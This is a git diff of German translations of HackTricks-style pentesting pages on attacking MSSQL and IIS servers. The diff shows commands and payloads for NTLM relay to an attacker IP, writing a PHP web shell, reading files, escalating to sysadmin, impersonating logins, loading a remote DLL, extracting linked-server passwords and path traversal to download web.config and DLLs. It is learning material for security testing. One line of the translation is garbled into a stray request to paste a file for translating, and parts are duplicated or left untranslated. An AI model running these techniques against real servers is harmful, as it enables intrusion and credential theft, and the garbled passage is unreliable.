 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
 ```
 > [!WARNING]
-> Sie können überprüfen, wer (außer Sysadmins) Berechtigungen hat, um diese MSSQL-Funktionen auszuführen mit:
+> Sie können prüfen, wer (außer Sysadmins) Berechtigungen hat, diese MSSQL-Funktionen auszuführen, mit:
 >
 > ```sql
 > Use master;
@ -274,16 +306,18 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
 > EXEC sp_helprotect 'xp_fileexist';
 > ```

-Mit Tools wie **responder** oder **Inveigh** ist es möglich, den **NetNTLM-Hash** zu **stehlen**.\
-Sie können sehen, wie man diese Tools verwendet in:
+Mit Tools wie **responder** oder **Inveigh** ist es möglich, den **NetNTLM hash** zu stehlen.\
+Anleitung zur Nutzung dieser Tools finden Sie in:
+

 {{#ref}}
 ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
 {{#endref}}

-### Missbrauch von MSSQL vertrauenswürdigen Links
+### Missbrauch von MSSQL Trusted Links
+
+[**Lesen Sie diesen Beitrag**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **um mehr Informationen darüber zu erhalten, wie man diese Funktion missbraucht:**

-[**Lesen Sie diesen Beitrag**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **um mehr Informationen darüber zu finden, wie man diese Funktion missbrauchen kann:**

 {{#ref}}
 ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@ -291,7 +325,7 @@ Sie können sehen, wie man diese Tools verwendet in:

 ### **Dateien schreiben**

-Um Dateien mit `MSSQL` zu schreiben, **müssen wir** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) aktivieren, was Administratorrechte erfordert, und dann einige gespeicherte Prozeduren ausführen, um die Datei zu erstellen:
+Um Dateien mit `MSSQL` zu schreiben, müssen wir [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) **aktivieren**, was Administratorrechte erfordert, und anschließend einige stored procedures ausführen, um die Datei zu erstellen:
 ```bash
 # Enable Ole Automation Procedures
 sp_configure 'show advanced options', 1
@ -309,13 +343,13 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
 EXECUTE sp_OADestroy @FileID
 EXECUTE sp_OADestroy @OLE
 ```
-### **Datei mit** OPENROWSET **lesen**
+### **Datei mit** OPENROWSET lesen

-Standardmäßig erlaubt `MSSQL` das **Lesen von Dateien in jedem Dateisystem, auf das das Konto Lesezugriff hat**. Wir können die folgende SQL-Abfrage verwenden:
+Standardmäßig erlaubt `MSSQL` das Lesen von **beliebigen Dateien im Betriebssystem, auf die das Konto Lesezugriff hat**. Wir können die folgende SQL-Abfrage verwenden:
 ```sql
 SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
 ```
-Die **`BULK`**-Option erfordert die Berechtigung **`ADMINISTER BULK OPERATIONS`** oder **`ADMINISTER DATABASE BULK OPERATIONS`**.
+Allerdings erfordert die **`BULK`**-Option die Berechtigung **`ADMINISTER BULK OPERATIONS`** oder **`ADMINISTER DATABASE BULK OPERATIONS`**.
 ```sql
 # Check if you have it
 SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
@ -326,13 +360,13 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
 ```
 ### **RCE/Dateien lesen und Skripte ausführen (Python und R)**

-MSSQL könnte es Ihnen ermöglichen, **Skripte in Python und/oder R** auszuführen. Dieser Code wird von einem **anderen Benutzer** ausgeführt als dem, der **xp_cmdshell** verwendet, um Befehle auszuführen.
+MSSQL könnte es Ihnen erlauben, **Skripte in Python und/oder R** auszuführen. Diese Skripte werden von einem **anderen Benutzer** ausgeführt als derjenige, der **xp_cmdshell** verwendet, um Befehle auszuführen.

-Beispiel, das versucht, ein **'R'** _"Hellow World!"_ **auszuführen, funktioniert nicht**:
+Beispiel, das versucht, ein **'R'** _"Hellow World!"_ auszuführen — **funktioniert nicht**:

 ![](<../../images/image (393).png>)

-Beispiel, das konfiguriertes Python verwendet, um mehrere Aktionen durchzuführen:
+Beispiel, das konfiguriertes python verwendet, um mehrere Aktionen auszuführen:
 ```sql
 # Print the user being used (and execute commands)
 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -346,11 +380,11 @@ print(sys.version)
 '
 GO
 ```
-### Registry lesen
+### Registry auslesen

-Microsoft SQL Server bietet **mehrere erweiterte gespeicherte Prozeduren** an, die es Ihnen ermöglichen, nicht nur mit dem Netzwerk, sondern auch mit dem Dateisystem und sogar der [**Windows-Registrierung**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** zu interagieren:**
+Microsoft SQL Server stellt **multiple extended stored procedures** bereit, mit denen Sie nicht nur mit dem Netzwerk, sondern auch mit dem Dateisystem und sogar der [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**

-| **Regulär**                 | **Instanzbewusst**                   |
+| **Standard**                 | **Instanzbezogen**                   |
 | --------------------------- | ------------------------------------ |
 | sys.xp_regread              | sys.xp_instance_regread              |
 | sys.xp_regenumvalues        | sys.xp_instance_regenumvalues        |
@ -371,21 +405,21 @@ Use master;
 EXEC sp_helprotect 'xp_regread';
 EXEC sp_helprotect 'xp_regwrite';
 ```
-Für **weitere Beispiele** siehe die [**ursprüngliche Quelle**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
+Für **mehr Beispiele** siehe die [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).

-### RCE mit MSSQL Benutzerdefinierter Funktion - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
+### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

-Es ist möglich, eine **.NET dll innerhalb von MSSQL mit benutzerdefinierten Funktionen zu laden**. Dies erfordert jedoch **`dbo`-Zugriff**, sodass Sie eine Verbindung zur Datenbank **als `sa` oder mit einer Administratorrolle** benötigen.
+Es ist möglich, **eine .NET-DLL innerhalb von MSSQL mit benutzerdefinierten Funktionen zu laden**. Das erfordert jedoch **`dbo`-Zugriff**, daher benötigen Sie eine Verbindung zur Datenbank **als `sa` oder mit einer Administratorrolle**.

-[**Folgen Sie diesem Link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp), um ein Beispiel zu sehen.
+[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) um ein Beispiel zu sehen.

-### RCE mit `autoadmin_task_agents`
+### RCE with `autoadmin_task_agents`

-Laut [**diesem Beitrag**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) ist es auch möglich, eine entfernte dll zu laden und MSSQL dazu zu bringen, sie mit etwas wie auszuführen:
+Laut[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), ist es auch möglich, eine remote DLL zu laden und MSSQL damit auszuführen, z. B. mit:
 ```sql
 update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
 ```
-Mit:
+Bitte füge den Inhalt der Datei src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md ein, damit ich ihn ins Deutsche übersetzen kann. Ich lasse Markdown-, Link- und Pfadangaben unverändert.
 ```csharp
 using Microsoft.SqlServer.SmartAdmin;
 using System;
@ -435,15 +469,15 @@ public void Test()
 }
 }
 ```
-### Andere Möglichkeiten für RCE
+### Other ways for RCE

-Es gibt andere Methoden, um die Ausführung von Befehlen zu erhalten, wie das Hinzufügen von [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) und [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
+Es gibt weitere Methoden, um Befehlsausführung zu erhalten, z. B. durch Hinzufügen von [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), und [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).

-## MSSQL Privilegieneskalation
+## MSSQL Privilege Escalation

-### Von db_owner zu sysadmin
+### From db_owner to sysadmin

-Wenn ein **normaler Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin**-Benutzer (wie **`sa`**) gehört, erhält und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, da **Stored Procedures**, die dort erstellt werden, als der Eigentümer (**Admin**) **ausgeführt** werden können.
+Wenn einem **normalen Benutzer** die Rolle **`db_owner`** über die **Datenbank, die einem Admin-Benutzer gehört** (z. B. **`sa`**) zugewiesen wird und diese Datenbank als **`trustworthy`** konfiguriert ist, kann dieser Benutzer diese Privilegien missbrauchen, um **privesc** zu erreichen, weil **stored procedures**, die dort erstellt wurden, als Eigentümer (**admin**) **execute** können.
 ```sql
 # Get owners of databases
 SELECT suser_sname(owner_sid) FROM sys.databases
@ -477,7 +511,7 @@ EXEC sp_elevate_me
 --3. Verify your user is a sysadmin
 SELECT is_srvrolemember('sysadmin')
 ```
-Sie können ein **metasploit** Modul verwenden:
+Du kannst ein **metasploit**-Modul verwenden:
 ```bash
 msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
 ```
@ -487,9 +521,9 @@ Oder ein **PS**-Skript:
 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
 ```
-### Nachahmung anderer Benutzer
+### Identitätsübernahme anderer Benutzer

-SQL Server hat eine spezielle Berechtigung, die **`IMPERSONATE`** genannt wird, die **es dem ausführenden Benutzer ermöglicht, die Berechtigungen eines anderen Benutzers** oder Logins zu übernehmen, bis der Kontext zurückgesetzt wird oder die Sitzung endet.
+SQL Server hat eine spezielle Berechtigung namens **`IMPERSONATE`**, die **es dem ausführenden Benutzer ermöglicht, die Berechtigungen eines anderen Benutzers** oder login zu übernehmen, bis der Kontext zurückgesetzt wird oder die Sitzung endet.
 ```sql
 # Find users you can impersonate
 SELECT distinct b.name
@ -510,9 +544,9 @@ enum_links
 use_link [NAME]
 ```
 > [!TIP]
-> Wenn Sie einen Benutzer impersonieren können, auch wenn er kein Sysadmin ist, sollten Sie überprüfen, **ob der Benutzer Zugriff** auf andere **Datenbanken** oder verknüpfte Server hat.
+> Wenn du einen Benutzer impersonate kannst, selbst wenn er kein sysadmin ist, solltest du prüfen, i**ob der Benutzer Zugriff hat** auf andere **Datenbanken** oder verknüpfte Server.

-Beachten Sie, dass Sie, sobald Sie Sysadmin sind, jeden anderen impersonieren können:
+Beachte, dass du, sobald du sysadmin bist, jeden anderen impersonate kannst:
 ```sql
 -- Impersonate RegUser
 EXECUTE AS LOGIN = 'RegUser'
@ -522,42 +556,42 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
 -- Change back to sa
 REVERT
 ```
-Sie können diesen Angriff mit einem **metasploit** Modul durchführen:
+Sie können diesen Angriff mit einem **metasploit**-Modul durchführen:
 ```bash
 msf> auxiliary/admin/mssql/mssql_escalate_execute_as
 ```
-oder mit einem **PS**-Skript:
+oder mit einem **PS** script:
 ```bash
 # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
 ```
-## Verwendung von MSSQL für Persistenz
+## Using MSSQL for Persistence

 [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)

-## Extrahieren von Passwörtern aus SQL Server Linked Servers
+## Extracting passwords from SQL Server Linked Servers

-Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und sie im Klartext erhalten, was dem Angreifer Passwörter gewährt, die verwendet werden können, um einen größeren Fuß in das Ziel zu bekommen. Das Skript zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter finden Sie [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords).
+Ein Angreifer kann Passwörter von SQL Server Linked Servers aus den SQL-Instanzen extrahieren und im Klartext erhalten, wodurch ihm Zugangsdaten zur Verfügung stehen, die zur Erlangung einer stärkeren Fußfeste auf dem Ziel verwendet werden können. Das Script zum Extrahieren und Entschlüsseln der für die Linked Servers gespeicherten Passwörter ist [hier](https://www.richardswinbank.net/admin/extract_linked_server_passwords) zu finden.

-Einige Anforderungen und Konfigurationen müssen vorgenommen werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf dem Computer haben oder die Fähigkeit, die SQL Server-Konfigurationen zu verwalten.
+Einige Voraussetzungen und Konfigurationen müssen durchgeführt werden, damit dieser Exploit funktioniert. Zunächst müssen Sie Administratorrechte auf dem Rechner haben oder die Möglichkeit, die SQL Server-Konfigurationen zu verwalten.

-Nachdem Sie Ihre Berechtigungen validiert haben, müssen Sie drei Dinge konfigurieren, die Folgendes sind:
+Nachdem Sie Ihre Berechtigungen überprüft haben, müssen Sie drei Dinge konfigurieren, die wie folgt sind:

-1. Aktivieren Sie TCP/IP auf den SQL Server-Instanzen;
-2. Fügen Sie einen Startparameter hinzu, in diesem Fall wird ein Trace-Flag hinzugefügt, das -T7806 ist.
-3. Aktivieren Sie die Remote-Admin-Verbindung.
+1. TCP/IP auf den SQL Server-Instanzen aktivieren;
+2. Einen Startparameter hinzufügen; in diesem Fall wird ein Trace-Flag hinzugefügt, nämlich -T7806.
+3. Remote-Admin-Verbindung aktivieren.

-Um diese Konfigurationen zu automatisieren, enthält [dieses Repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Schritt der Konfiguration enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert.
+Um diese Konfigurationen zu automatisieren, enthält [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) die benötigten Skripte. Neben einem PowerShell-Skript für jeden Konfigurationsschritt enthält das Repository auch ein vollständiges Skript, das die Konfigurationsskripte sowie die Extraktion und Entschlüsselung der Passwörter kombiniert.

-Für weitere Informationen verweisen Sie auf die folgenden Links zu diesem Angriff: [Entschlüsseln von MSSQL-Datenbank-Link-Server-Passwörtern](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
+Für weitere Informationen zu diesem Angriff siehe die folgenden Links: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)

-[Fehlerbehebung der SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
+[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)

-## Lokale Privilegieneskalation
+## Local Privilege Escalation

-Der Benutzer, der den MSSQL-Server ausführt, wird das Berechtigungstoken **SeImpersonatePrivilege** aktiviert haben.\
-Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**, indem Sie einer dieser 2 Seiten folgen:
+Der Benutzer, der den MSSQL-Server ausführt, hat das Privilegentoken **SeImpersonatePrivilege.**\
+You probably will be able to **escalate to Administrator** following one of these 2 paged:


 {{#ref}}
@ -573,7 +607,19 @@ Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**,

 - `port:1433 !HTTP`

-## Referenzen
+## References
+
+- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
+- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
+- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
+- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
+- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
+- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
+- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
+- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
+- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
+- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
+

 - [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
 - [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@ -585,7 +631,7 @@ Sie werden wahrscheinlich in der Lage sein, **auf Administrator zu eskalieren**,
 - [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
 - [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)

-## HackTricks Automatische Befehle
+## HackTricks Automatic Commands
 ```
 Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
 Port_Number:  1433     #Comma separated if there is more than one.
--- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
+++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
@ -2,7 +2,7 @@

 {{#include ../../banners/hacktricks-training.md}}

-Testen Sie ausführbare Dateierweiterungen:
+Testbare ausführbare Dateiendungen:

 - asp
 - aspx
@ -11,7 +11,7 @@ Testen Sie ausführbare Dateierweiterungen:

 ## Offenlegung der internen IP-Adresse

-Auf jedem IIS-Server, auf dem Sie einen 302 erhalten, können Sie versuchen, den Host-Header zu entfernen und HTTP/1.0 zu verwenden. Im Antwortheader könnte der Location-Header auf die interne IP-Adresse verweisen:
+Auf jedem IIS-Server, bei dem Sie einen 302 erhalten, können Sie versuchen, den Host header zu entfernen und HTTP/1.0 zu verwenden; in der Antwort könnte der Location header auf die interne IP-Adresse verweisen:
 ```
 nc -v domain.com 80
 openssl s_client -connect domain.com:443
@ -27,21 +27,21 @@ Location: https://192.168.5.237/owa/
 Server: Microsoft-IIS/10.0
 X-FEServer: NHEXCHANGE2016
 ```
-## .config-Dateien ausführen
+## Ausführen von .config-Dateien

-Sie können .config-Dateien hochladen und sie verwenden, um Code auszuführen. Eine Möglichkeit, dies zu tun, besteht darin, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzuhängen: [Beispiel hier herunterladen](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
+Sie können .config-Dateien hochladen und damit Code ausführen. Eine Möglichkeit ist, den Code am Ende der Datei innerhalb eines HTML-Kommentars anzufügen: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)

-Weitere Informationen und Techniken zur Ausnutzung dieser Schwachstelle [hier](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
+Mehr Informationen und Techniken, um diese Schwachstelle auszunutzen, [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)

 ## IIS Discovery Bruteforce

-Laden Sie die Liste herunter, die ich erstellt habe:
+Download the list that I have created:

 {{#file}}
 iisfinal.txt
 {{#endfile}}

-Sie wurde erstellt, indem die Inhalte der folgenden Listen zusammengeführt wurden:
+It was created merging the contents of the following lists:

 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
 [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
@ -50,63 +50,63 @@ Sie wurde erstellt, indem die Inhalte der folgenden Listen zusammengeführt wurd
 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
 [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)

-Verwenden Sie es, ohne eine Erweiterung hinzuzufügen, die Dateien, die sie benötigen, haben sie bereits.
+Verwende sie ohne eine Erweiterung hinzuzufügen; die Dateien, die eine benötigen, haben diese bereits.

-## Pfad Traversierung
+## Path Traversal

-### Quellcode-Leck
+### Leaking source code

-Überprüfen Sie den vollständigen Bericht unter: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
+Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)

-> [!NOTE]
-> Zusammenfassend gibt es mehrere web.config-Dateien in den Ordnern der Anwendung mit Verweisen auf "**assemblyIdentity**"-Dateien und "**namespaces**". Mit diesen Informationen ist es möglich zu wissen, **wo sich ausführbare Dateien befinden** und sie herunterzuladen.\
-> Aus den **heruntergeladenen Dlls** ist es auch möglich, **neue Namespaces** zu finden, auf die Sie zugreifen sollten, um die web.config-Datei zu erhalten, um neue Namespaces und assemblyIdentity zu finden.\
+> [!TIP]
+> Als Zusammenfassung gibt es mehrere web.config files innerhalb der Ordner der Applikation mit Verweisen auf "**assemblyIdentity**" Dateien und "**namespaces**". Mit diesen Informationen ist es möglich zu wissen, **where are executables located** und diese herunterzuladen.\
+> Aus den **downloaded Dlls** ist es außerdem möglich, **new namespaces** zu finden, in die man versuchen sollte zuzugreifen, um die web.config Datei zu erhalten, um neue namespaces und assemblyIdentity zu finden.\
 > Außerdem können die Dateien **connectionstrings.config** und **global.asax** interessante Informationen enthalten.

-In **.Net MVC-Anwendungen** spielt die **web.config**-Datei eine entscheidende Rolle, indem sie jede Binärdatei angibt, auf die die Anwendung über **"assemblyIdentity"** XML-Tags angewiesen ist.
+In **.Net MVC applications**, die **web.config** Datei spielt eine entscheidende Rolle, indem sie jede Binärdatei, auf die die Anwendung angewiesen ist, über **"assemblyIdentity"** XML-Tags angibt.

-### **Binärdateien erkunden**
+### **Exploring Binary Files**

-Ein Beispiel für den Zugriff auf die **web.config**-Datei ist unten dargestellt:
+Ein Beispiel für den Zugriff auf die **web.config** Datei wird unten gezeigt:
 ```html
 GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
 Host: example-mvc-application.minded
 ```
-Diese Anfrage zeigt verschiedene Einstellungen und Abhängigkeiten, wie zum Beispiel:
+Diese Anfrage offenbart verschiedene Einstellungen und Abhängigkeiten, wie zum Beispiel:

- **EntityFramework**-Version
+- **EntityFramework** Version
 - **AppSettings** für Webseiten, Client-Validierung und JavaScript
 - **System.web**-Konfigurationen für Authentifizierung und Laufzeit
 - **System.webServer**-Modul-Einstellungen
- **Runtime**-Assembly-Bindungen für zahlreiche Bibliotheken wie **Microsoft.Owin**, **Newtonsoft.Json** und **System.Web.Mvc**
+- **Runtime**-Assembly-Bindings für zahlreiche Bibliotheken wie **Microsoft.Owin**, **Newtonsoft.Json** und **System.Web.Mvc**

-Diese Einstellungen deuten darauf hin, dass bestimmte Dateien, wie **/bin/WebGrease.dll**, im /bin-Ordner der Anwendung zu finden sind.
+Diese Einstellungen deuten darauf hin, dass bestimmte Dateien, wie z. B. **/bin/WebGrease.dll**, im /bin-Ordner der Anwendung liegen.

-### **Root-Verzeichnisdateien**
+### **Dateien im Root-Verzeichnis**

-Dateien, die im Root-Verzeichnis gefunden werden, wie **/global.asax** und **/connectionstrings.config** (die sensible Passwörter enthält), sind entscheidend für die Konfiguration und den Betrieb der Anwendung.
+Dateien, die im Root-Verzeichnis gefunden werden, wie **/global.asax** und **/connectionstrings.config** (die sensible Passwörter enthält), sind für die Konfiguration und den Betrieb der Anwendung essenziell.

-### **Namespaces und Web.Config**
+### **Namespaces and Web.config**

-MVC-Anwendungen definieren auch zusätzliche **web.config-Dateien** für spezifische Namespaces, um wiederholte Deklarationen in jeder Datei zu vermeiden, wie mit einer Anfrage zum Herunterladen einer anderen **web.config** demonstriert:
+MVC-Anwendungen definieren außerdem zusätzliche **web.config**-Dateien für bestimmte Namespaces, um sich wiederholende Deklarationen in jeder Datei zu vermeiden, wie bei einer Anfrage zum Herunterladen einer weiteren **web.config** gezeigt:
 ```html
 GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
 Host: example-mvc-application.minded
 ```
-### **Herunterladen von DLLs**
+### **DLLs herunterladen**

-Die Erwähnung eines benutzerdefinierten Namensraums deutet auf eine DLL mit dem Namen "**WebApplication1**" hin, die im /bin-Verzeichnis vorhanden ist. Daraufhin wird eine Anfrage zum Herunterladen der **WebApplication1.dll** angezeigt:
+Die Erwähnung eines benutzerdefinierten Namespace deutet auf eine DLL mit dem Namen **WebApplication1** im /bin-Verzeichnis hin. Im Folgenden wird eine Anfrage zum Herunterladen der **WebApplication1.dll** gezeigt:
 ```html
 GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
 Host: example-mvc-application.minded
 ```
-Dies deutet auf das Vorhandensein anderer wesentlicher DLLs hin, wie **System.Web.Mvc.dll** und **System.Web.Optimization.dll**, im /bin-Verzeichnis.
+Das deutet auf das Vorhandensein weiterer essentieller DLLs hin, wie **System.Web.Mvc.dll** und **System.Web.Optimization.dll**, in the /bin directory.

-In einem Szenario, in dem eine DLL einen Namespace namens **WebApplication1.Areas.Minded** importiert, könnte ein Angreifer auf die Existenz anderer web.config-Dateien in vorhersehbaren Pfaden schließen, wie z.B. **/area-name/Views/**, die spezifische Konfigurationen und Verweise auf andere DLLs im /bin-Ordner enthalten. Zum Beispiel kann eine Anfrage an **/Minded/Views/web.config** Konfigurationen und Namespaces offenbaren, die auf das Vorhandensein einer anderen DLL, **WebApplication1.AdditionalFeatures.dll**, hinweisen.
+In einem Szenario, in dem eine DLL einen Namespace namens **WebApplication1.Areas.Minded** importiert, könnte ein Angreifer auf die Existenz weiterer web.config-Dateien in vorhersehbaren Pfaden schließen, wie **/area-name/Views/**, die spezifische Konfigurationen und Verweise auf andere DLLs im /bin folder enthalten. Zum Beispiel kann eine Anfrage an **/Minded/Views/web.config** Konfigurationen und Namespaces offenbaren, die auf das Vorhandensein einer weiteren DLL, **WebApplication1.AdditionalFeatures.dll**, hinweisen.

 ### Häufige Dateien

-Von [hier](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
+From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
 ```
 C:\Apache\conf\httpd.conf
 C:\Apache\logs\access.log
